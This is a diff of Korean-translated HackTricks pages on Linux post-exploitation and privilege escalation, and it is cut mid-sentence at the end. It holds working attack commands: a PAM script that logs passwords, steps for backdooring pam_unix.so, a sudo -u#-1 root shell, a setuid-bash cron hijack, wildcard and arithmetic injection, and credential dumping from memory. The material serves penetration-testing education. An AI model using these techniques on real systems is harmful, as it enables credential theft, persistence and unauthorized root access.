diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index cbb416858..539421f26 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,24 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## PAM을 이용한 로그인 비밀번호 스니핑 +## Sniffing Logon Passwords with PAM + +각 사용자가 로그인할 때 사용하는 비밀번호를 기록하도록 PAM 모듈을 구성해보자. PAM이 무엇인지 모르면 다음을 확인하라: -각 사용자가 로그인할 때 사용하는 비밀번호를 기록하기 위해 PAM 모듈을 구성해 보겠습니다. PAM이 무엇인지 모른다면 확인해 보세요: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**자세한 내용은 [원본 게시물](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 확인하세요**. 이것은 요약입니다: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary: -**기술 개요:** -플러그형 인증 모듈(PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 제공합니다. 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만, 잘못 사용될 경우 위험을 초래할 수 있습니다. 이 요약은 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 설명합니다. +**Technique Overview:** +Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 해준다. 로그인 프로세스를 맞춤화해 보안을 강화할 수 있으나, 오용될 경우 위험을 초래할 수 있다. 이 요약은 PAM을 사용해 로그인 자격증명을 수집하는 기법과 이에 대한 완화 전략을 개략적으로 설명한다. -**자격 증명 캡처:** +**Capturing Credentials:** -- `toomanysecrets.sh`라는 이름의 bash 스크립트가 로그인 시도를 기록하도록 작성되어, 날짜, 사용자 이름(`$PAM_USER`), 비밀번호(표준 입력을 통해), 원격 호스트 IP(`$PAM_RHOST`)를 `/var/log/toomanysecrets.log`에 캡처합니다. -- 이 스크립트는 실행 가능하게 만들어지고, `pam_exec.so` 모듈을 사용하여 PAM 구성(`common-auth`)에 통합되며, 조용히 실행하고 인증 토큰을 스크립트에 노출하는 옵션이 포함됩니다. -- 이 접근 방식은 손상된 Linux 호스트가 자격 증명을 은밀하게 기록하는 데 어떻게 악용될 수 있는지를 보여줍니다. +- `toomanysecrets.sh`라는 bash 스크립트를 작성하여 로그인 시도(날짜, 사용자 이름(`$PAM_USER`), 패스워드(stdin을 통해 수집), 원격 호스트 IP(`$PAM_RHOST`))를 `/var/log/toomanysecrets.log`에 기록한다. +- 해당 스크립트에 실행 권한을 부여한 뒤 `pam_exec.so` 모듈을 사용해 조용히 실행(run quietly)하고 인증 토큰을 스크립트에 노출(expose the authentication token)하도록 옵션을 설정해 PAM 구성(`common-auth`)에 통합한다. +- 이 접근법은 손상된 Linux 호스트를 이용해 자격증명을 은밀하게 기록할 수 있음을 보여준다. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -29,25 +30,52 @@ sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` -### PAM 백도어 만들기 +### Backdooring PAM -**자세한 내용은 [원본 게시물](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)을 확인하세요**. 이것은 요약입니다: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. 다음은 요약입니다: -Pluggable Authentication Module (PAM)은 Linux에서 사용자 인증을 위해 사용되는 시스템입니다. 이는 **사용자 이름**, **비밀번호**, **서비스**라는 세 가지 주요 개념에서 작동합니다. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉토리에 위치하며, 공유 라이브러리가 인증을 처리합니다. +Pluggable Authentication Module (PAM)는 Linux에서 사용자 인증에 사용되는 시스템입니다. 이 시스템은 세 가지 주요 개념인 **username**, **password**, 및 **service**로 작동합니다. 각 서비스의 설정 파일은 `/etc/pam.d/` 디렉터리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다. -**목표**: 특정 비밀번호로 인증을 허용하도록 PAM을 수정하여 실제 사용자 비밀번호를 우회합니다. 이는 비밀번호 검증을 위해 거의 모든 서비스에서 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 특히 집중됩니다. +**Objective**: PAM을 수정하여 특정 비밀번호로 인증을 허용하고 실제 사용자 비밀번호를 우회하도록 합니다. 특히 거의 모든 서비스에서 비밀번호 검증을 위해 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 중점을 둡니다. -### `pam_unix.so` 수정 단계: +### Steps for Modifying `pam_unix.so`: -1. **common-auth 파일에서 인증 지시문 찾기**: -- 사용자의 비밀번호를 확인하는 책임이 있는 줄은 `pam_unix.so`를 호출합니다. -2. **소스 코드 수정**: -- 미리 정의된 비밀번호가 사용될 경우 접근을 허용하는 조건문을 `pam_unix_auth.c` 소스 파일에 추가하고, 그렇지 않으면 일반 인증 프로세스를 진행합니다. -3. **수정된 `pam_unix.so` 라이브러리를 적절한 디렉토리에 재컴파일하고 교체합니다.** -4. **테스트**: -- 미리 정의된 비밀번호로 다양한 서비스(로그인, ssh, sudo, su, 화면 보호기)에 접근이 허용되며, 일반 인증 프로세스는 영향을 받지 않습니다. +1. **Locate the Authentication Directive** in the `common-auth` file: +- 비밀번호를 확인하는 책임이 있는 라인이 `pam_unix.so`를 호출합니다. +2. **Modify Source Code**: +- `pam_unix_auth.c` 소스 파일에 미리 정의된 비밀번호가 사용되면 접근을 허용하고, 그렇지 않으면 기존 인증 과정을 계속 진행하도록 하는 조건문을 추가합니다. +3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. +4. **Testing**: +- 사전 정의된 비밀번호로 로그인, ssh, sudo, su, screensaver 등 다양한 서비스에서 접근이 허용되며, 정상적인 인증 프로세스에는 영향을 주지 않습니다. > [!TIP] -> 이 프로세스를 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)로 자동화할 수 있습니다. +> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) + +## Decrypting GPG loot via homedir relocation + +암호화된 `.gpg` 파일과 사용자의 `~/.gnupg` 폴더(pubring, private-keys, trustdb)를 찾았지만 GnuPG homedir 권한/잠금 때문에 복호화할 수 없는 경우, 키링을 쓰기 가능한 위치로 복사한 다음 이를 GPG home으로 사용하면 됩니다. + +이 작업을 하지 않을 때 보게 되는 일반적인 오류: "unsafe ownership on homedir", "failed to create temporary file", 또는 "decryption failed: No secret key" (GPG가 원본 homedir을 읽거나 쓸 수 없기 때문). + +Workflow: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +비밀 키 자료가 `private-keys-v1.d`에 존재하면, GPG는 passphrase를 묻지 않고 잠금 해제하고 복호화합니다(또는 키가 보호되어 있으면 묻습니다). + + +## 참고자료 + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 895633bd9..d1c7cb94b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS 정보 -실행 중인 OS에 대한 정보를 수집해보자. +실행 중인 OS에 대한 정보를 수집해 봅시다. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -만약 당신이 **`PATH` 변수 내의 어떤 폴더에 대한 쓰기 권한을 가지고 있다면** 일부 라이브러리나 바이너리를 하이재킹할 수 있습니다: +만약 **`PATH` 내부의 어떤 폴더에 대해 쓰기 권한이 있다면** 일부 libraries나 binaries를 hijack할 수 있습니다: ```bash echo $PATH ``` -### Env info +### 환경 정보 -환경 변수에 흥미로운 정보, 비밀번호 또는 API keys가 있나요? +환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -커널 버전을 확인하고 권한 상승에 사용할 수 있는 exploit가 있는지 확인하세요 +kernel 버전을 확인하고, escalate privileges에 사용할 수 있는 exploit가 있는지 확인하세요. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -좋은 vulnerable kernel 목록과 일부 이미 **compiled exploits**를 다음에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -다음 사이트들에서도 일부 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +여기에서 좋은 취약 커널 목록과 몇몇 이미 **compiled exploits**를 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +다른 사이트들에서도 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -해당 웹에서 모든 vulnerable kernel versions를 추출하려면 다음을 실행하세요: +해당 웹에서 모든 취약한 커널 버전을 추출하려면 다음을 실행하세요: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits를 검색하는 데 도움이 되는 도구는: +kernel exploits를 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim에서 실행, kernel 2.x에 대한 exploits만 확인) -항상 **Google에서 kernel version을 검색하세요**, 아마도 해당 kernel exploit에 kernel version이 기재되어 있어 그 exploit가 유효한지 확신할 수 있습니다. +항상 **Google에서 kernel version을 검색하세요**, 아마도 특정 kernel exploit에 귀하의 kernel version이 적혀 있을 수 있으므로 그러면 해당 exploit이 유효한지 확신할 수 있습니다. ### CVE-2016-5195 (DirtyCow) @@ -57,36 +57,36 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo 버전 +### Sudo version -다음에 나타나는 취약한 sudo 버전을 기반으로: +다음에 나타난 취약한 sudo 버전을 기반으로: ```bash searchsploit sudo ``` -이 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다. +다음 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -출처: @sickrov +작성자 @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg 서명 검증 실패 -**smasher2 box of HTB**에서 이 vuln이 어떻게 exploited될 수 있는지에 대한 **예시**를 확인하세요 +이 vuln이 어떻게 악용될 수 있는지에 대한 **예제**는 **smasher2 box of HTB**를 확인하세요. ```bash dmesg 2>/dev/null | grep "signature" ``` -### 더 많은 시스템 열거 +### 추가 시스템 열거 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 가능한 방어책 나열 +## 가능한 방어 수단 열거 ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -만약 docker container 안에 있다면 그 안에서 탈출을 시도해볼 수 있습니다: +docker container 내부에 있다면 그 안에서 탈출을 시도해볼 수 있습니다: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Drives -확인하세요 — **what is mounted and unmounted**가 어디에 있고 왜 그런지. 만약 어떤 것이 unmounted 상태라면 그것을 mount해보고 민감한 정보를 확인해보세요. +어떤 것이 **what is mounted and unmounted**, 어디에 그리고 왜 그런지 확인하세요. 만약 어떤 항목이 unmounted 상태라면 mount를 시도해보고 민감한 정보를 확인해보세요 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -또한 **compiler가 설치되어 있는지** 확인하세요. 이는 일부 kernel exploit을 사용해야 할 경우 유용합니다 — 해당 exploit은 사용하려는 머신(또는 유사한 머신)에서 compile하는 것이 권장되기 때문입니다. +또한, **any compiler is installed** 여부를 확인하세요. 일부 kernel exploit을 사용해야 하는 경우, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장되므로 유용합니다. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 설치된 취약한 소프트웨어 +### 취약한 소프트웨어가 설치됨 -설치된 패키지와 서비스의 **버전**을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어 escalating privileges에 악용될 수 있습니다…\ -특히 의심스러운 소프트웨어는 버전을 수동으로 확인하는 것이 권장됩니다. +설치된 패키지 및 서비스의 **버전을 확인하세요**. 예를 들어 오래된 Nagios 버전이 있어 escalating privileges에 악용될 수 있습니다…\ +더 의심스러운 소프트웨어의 버전을 직접 확인하는 것을 권장합니다. ```bash dpkg -l #Debian rpm -qa #Centos ``` -기기에 SSH 접근 권한이 있다면 **openVAS**를 사용하여 해당 기기에 설치된 오래되었거나 취약한 소프트웨어를 확인할 수 있다. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _이 명령들은 많은 정보를 출력하지만 대부분 쓸모없을 가능성이 높으므로, 설치된 소프트웨어 버전이 알려진 익스플로잇에 취약한지 검사하는 OpenVAS 같은 애플리케이션을 사용하는 것이 권장된다_ +> [!NOTE] > _이 명령들은 대부분 쓸모없는 많은 정보를 출력할 수 있으므로, 설치된 소프트웨어 버전이 알려진 익스플로잇에 취약한지 검사해주는 OpenVAS와 같은 도구를 사용하는 것이 권장됩니다_ ## Processes -실행 중인 **어떤 프로세스**인지 살펴보고, 어떤 프로세스가 **정상보다 더 많은 권한을 가지고 있는지** 확인하라 (예: root로 실행되는 tomcat?) +실행 중인 **프로세스들이 무엇인지** 확인하고, 어떤 프로세스가 가져야 할 권한보다 **더 많은 권한을 가지고 있는지** 검사하세요 (예: tomcat이 root로 실행되고 있는지?). ```bash ps aux ps -ef top -n 1 ``` -항상 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md)이 실행 중인지 확인하세요. **Linpeas**는 프로세스의 명령줄에서 `--inspect` 파라미터를 확인해 이를 탐지합니다.\ -또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 다른 사용자의 바이너리를 덮어쓸 수 있을지도 모릅니다. +항상 [**electron/cef/chromium debuggers**가 실행 중인지 확인하세요, 이를 악용해 권한을 상승시킬 수 있습니다](electron-cef-chromium-debugger-abuse.md). **Linpeas**는 프로세스의 명령행에서 `--inspect` 파라미터를 확인해 이를 감지합니다.\ +또한 프로세스의 binaries에 대한 권한도 확인하세요. 누군가의 파일을 덮어쓸 수 있을지도 모릅니다. ### 프로세스 모니터링 -프로세스를 모니터링하기 위해 [**pspy**](https://github.com/DominicBreuker/pspy) 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건이 충족될 때 이를 식별하는 데 매우 유용합니다. +프로세스를 모니터링하기 위해 [**pspy**](https://github.com/DominicBreuker/pspy) 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건이 충족될 때 이를 식별하는 데 매우 유용할 수 있습니다. ### 프로세스 메모리 -일부 서버 서비스는 **메모리 내부에 평문으로 저장된 자격 증명**을 보관합니다.\ -일반적으로 다른 사용자에 속한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하므로, 보통 이미 root인 상태에서 추가 자격 증명을 찾는 데 더 유용합니다.\ -그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다**는 점을 기억하세요. +서버의 일부 서비스는 **credentials in clear text inside the memory**를 저장합니다.\ +일반적으로 다른 사용자에 속한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하므로, 이는 보통 이미 root인 상태에서 추가 자격증명을 찾을 때 더 유용합니다.\ +그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있습니다**를 기억하세요. > [!WARNING] -> 요즘 대부분의 머신은 기본적으로 **ptrace를 허용하지 않습니다**, 즉 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없습니다. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_ 는 ptrace의 접근성을 제어합니다: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: 동일한 uid를 가진 경우 모든 프로세스를 디버깅할 수 있습니다. 이는 ptracing이 전통적으로 동작하던 방식입니다. -> - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버깅할 수 있습니다. -> - **kernel.yama.ptrace_scope = 2**: 관리자만 ptrace를 사용할 수 있으며, 이를 위해 CAP_SYS_PTRACE 권한이 필요합니다. -> - **kernel.yama.ptrace_scope = 3**: ptrace로 어떤 프로세스도 추적할 수 없습니다. 이 값으로 설정되면 ptracing을 다시 활성화하려면 재부팅이 필요합니다. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -예를 들어 FTP 서비스의 메모리에 접근할 수 있다면 Heap을 얻어 그 안의 자격 증명을 검색할 수 있습니다. +예를 들어 FTP 서비스의 메모리에 접근할 수 있다면 Heap을 획득해 그 내부의 credentials를 검색할 수 있습니다. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB 스크립트 ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,10 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지**를 보여주며; 또한 **각 매핑된 영역의 권한**도 표시합니다. 해당 **mem** 의사 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일에서 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용해 **mem 파일에서 seek하고 모든 읽을 수 있는 영역을 dump**하여 파일로 저장합니다. +지정된 프로세스 ID에 대해, **maps는 해당 프로세스의 메모리가 가상 주소 공간에 어떻게 매핑되어 있는지** 보여주며; 또한 **각 매핑 영역의 권한**을 표시합니다. +**mem** 의사 파일은 **프로세스의 메모리 자체를 노출합니다**. +**maps** 파일에서 어떤 **메모리 영역이 읽을 수 있는지**와 해당 오프셋을 알 수 있습니다. +우리는 이 정보를 사용해 **mem 파일을 탐색하여 모든 읽을 수 있는 영역을 덤프**하여 파일로 저장합니다. ```bash procdump() ( @@ -230,14 +233,15 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`은 가상 메모리가 아니라 시스템의 **물리적** 메모리에 접근할 수 있게 합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ +`/dev/mem`은 시스템의 **물리적** 메모리에 대한 접근을 제공하며, 가상 메모리에는 해당하지 않습니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ + 일반적으로 `/dev/mem`은 **root** 및 **kmem** 그룹만 읽을 수 있습니다. ``` strings /dev/mem -n10 | grep -i PASS ``` -### linux용 ProcDump +### ProcDump for linux -ProcDump은 Windows용 Sysinternals 도구 모음의 고전적인 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다음에서 다운로드하세요: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump는 Windows용 Sysinternals 도구 모음에 있는 고전적인 ProcDump 도구를 Linux용으로 재구상한 것입니다. 다음에서 구할 수 있습니다: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,29 +270,29 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### 도구 -프로세스 메모리를 dump하려면 다음을 사용할 수 있습니다: +프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_수동으로 root 요구사항을 제거하고 당신이 소유한 process를 dump할 수 있습니다 -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root가 필요함) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_수동으로 root 요구사항을 제거하고 본인이 소유한 프로세스를 덤프할 수 있습니다 +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root 권한 필요) -### Process Memory에서 Credentials +### 프로세스 메모리에서 자격 증명 -#### 수동 예시 +#### 수동 예제 -authenticator process가 실행 중인 것을 발견하면: +authenticator 프로세스가 실행 중이라면: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -프로세스를 dump할 수 있으며(이전 섹션을 참조하여 프로세스의 memory를 dump하는 다양한 방법을 확인하세요) memory 안에서 credentials를 검색할 수 있습니다: +process를 dump할 수 있습니다 (앞 섹션을 참조해 process의 memory를 dump하는 여러 방법을 확인하세요) 그리고 memory 안에서 credentials를 검색하세요: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)은 **메모리에서 평문 자격증명을 탈취**하고 일부 **잘 알려진 파일들**에서도 정보를 획득합니다. 제대로 작동하려면 root 권한이 필요합니다. +이 도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)은 메모리에서 **평문 자격 증명 (clear text credentials)**과 일부 **잘 알려진 파일**에서 자격 증명을 훔칩니다. 제대로 작동하려면 root 권한이 필요합니다. | 기능 | 프로세스 이름 | | ------------------------------------------------- | -------------------- | @@ -297,7 +301,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (활성 FTP 연결) | vsftpd | | Apache2 (활성 HTTP Basic Auth 세션) | apache2 | -| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: | +| OpenSSH (활성 SSH 세션 - sudo 사용) | sshd: | #### 검색 정규식/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,9 +317,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 예약된/Cron 작업 +## Scheduled/Cron jobs -예약된 작업 중 취약한 것이 있는지 확인하세요. root에 의해 실행되는 스크립트를 악용할 수 있을지도 모릅니다 (wildcard vuln? root이 사용하는 파일을 수정할 수 있는가? symlinks를 사용할 수 있는가? root이 사용하는 디렉터리에 특정 파일을 생성할 수 있는가?). +예약된 작업이 취약한지 확인하세요. root에 의해 실행되는 스크립트를 이용할 수 있을지 검토해보세요 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks 사용? root가 사용하는 디렉터리에 특정 파일을 생성?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -325,24 +329,24 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul 예를 들어, _/etc/crontab_ 안에서 다음과 같은 PATH를 확인할 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_사용자 "user"가 /home/user에 대해 쓰기 권한을 가지고 있는 것을 주목하세요_) +(_user 사용자가 /home/user에 대해 쓰기 권한을 가지고 있는 것에 주목하세요_) -만약 이 crontab에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려 한다면. 예를 들어: _\* \* \* \* root overwrite.sh_\ -그러면, 다음을 사용해 root 쉘을 얻을 수 있습니다: +이 crontab 안에서 root 사용자가 PATH를 설정하지 않은 채 어떤 명령어나 스크립트를 실행하려고 하면. 예를 들어: _\* \* \* \* root overwrite.sh_\ +그럼 다음을 사용해 루트 쉘을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron에서 와일드카드가 있는 스크립트를 사용하는 경우 (Wildcard Injection) +### Cron이 와일드카드가 포함된 스크립트를 사용할 때 (Wildcard Injection) -root로 실행되는 스크립트의 명령 안에 “**\***”가 포함되어 있으면, 이를 악용해 예상치 못한 동작(예: privesc)을 일으킬 수 있습니다. 예시: +root로 실행되는 스크립트가 명령 안에 “**\***”를 포함하고 있다면, 이를 악용해 예상치 못한 동작(예: privesc)을 유발할 수 있다. 예시: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**와일드카드가 다음과 같은 경로 앞에 있는 경우** _**/some/path/\***_ **, 취약하지 않습니다 (심지어** _**./\***_ **도 취약하지 않습니다).** +**만약 wildcard가 다음과 같은 경로 앞에 오면** _**/some/path/\***_ **, 취약하지 않습니다 (심지어** _**./\***_ **도 아닙니다).** -다음 페이지를 읽어 와일드카드 익스플로잇 트릭을 더 확인하세요: +다음 페이지에서 추가적인 wildcard exploitation 트릭을 읽어보세요: {{#ref}} @@ -352,9 +356,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash는 ((...)), $((...)) 및 let에서 산술 평가 전에 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 산술 컨텍스트에 넣는다면, 공격자는 cron이 실행될 때 root로 실행되는 command substitution $(...)을 주입할 수 있습니다. +Bash는 ((...)), $((...)) 및 let에서 산술 평가 전에 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 산술 컨텍스트로 전달하면, 공격자는 cron이 실행될 때 root로 실행되는 $(...) 형태의 command substitution을 주입할 수 있습니다. -- Why it works: Bash에서는 확장이 다음 순서로 발생합니다: parameter/variable expansion, command substitution, arithmetic expansion, 그 다음 word splitting과 pathname expansion. 따라서 `$(/bin/bash -c 'id > /tmp/pwn')0` 같은 값은 먼저 substitution되어(명령이 실행됨), 남은 숫자 `0`이 산술에 사용되어 스크립트가 오류 없이 계속됩니다. +- Why it works: Bash에서 확장은 다음 순서로 발생합니다: parameter/variable 